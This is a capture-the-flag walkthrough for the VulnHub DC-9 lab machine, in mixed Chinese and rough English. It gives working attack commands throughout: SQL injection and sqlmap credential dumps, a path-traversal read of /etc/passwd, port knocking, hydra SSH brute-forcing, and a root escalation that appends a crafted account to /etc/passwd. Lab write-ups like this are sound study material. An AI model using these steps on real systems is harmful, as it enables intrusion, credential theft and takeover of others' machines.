DC-9--vulnhub range

Range to get the address

https://www.vulnhub.com/entry/dc-9,412/

网络模式：NAT
攻击机：kali

1、主机发现

arp-scan -l

nmap -p- 192.168.194.170

80端口开放,22端口被过滤,后面会用到

可能会有SQL注入,使用1’ or 1=1#显示全部,所以存在
使用burpsuitesThe captured packets are saved as filespost.txt,

sqlmap爆破

sqlmap -r /home/kali/Desktop/post.txt --dbs

使用-r参数

sqlmap -r /home/kali/Desktop/post.txt -D users --tables

sqlmap -r /home/kali/Desktop/post.txt -D users -T UserDetails  --columns

sqlmap -r /home/kali/Desktop/post.txt -D users -T UserDetails  -C username,password --dump

还有另一个staff库

使用admin 和 transorbital1登录

发现

File does not exist

2、存在文件包含

Try common parameters to get file
http://192.168.194.170/manage.php?file=…/…/…/…/…/…/etc/passwd

3、knockd敲门服务

http://192.168.194.170/manage.php?file=…/…/…/…/…/…/etc/knockd.conf
It's clearer by looking at the source file

敲门 Knockd,percussion method：nc、nmap,参考

for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.194.170;done 

for x in 7469 8475 9842 22 ;do nc 192.168.194.170 $x;done

此时22端口开放
Use the previously blasted user passwordhydra爆破

hydra -L dc9pass -P dc9pass2 192.168.194.170 ssh -t 20

Try to log in to this account,只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码

4、提权

参考

#python test.py read append The meaning of reading content and adding content

openssl passwd  -1 -salt  admin 123456

$1$admin$LClYcRe.ee8dQwgrFc5nz.

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

cd /opt/devstuff/dist/test

sudo ./test /tmp/passwd  /etc/passwd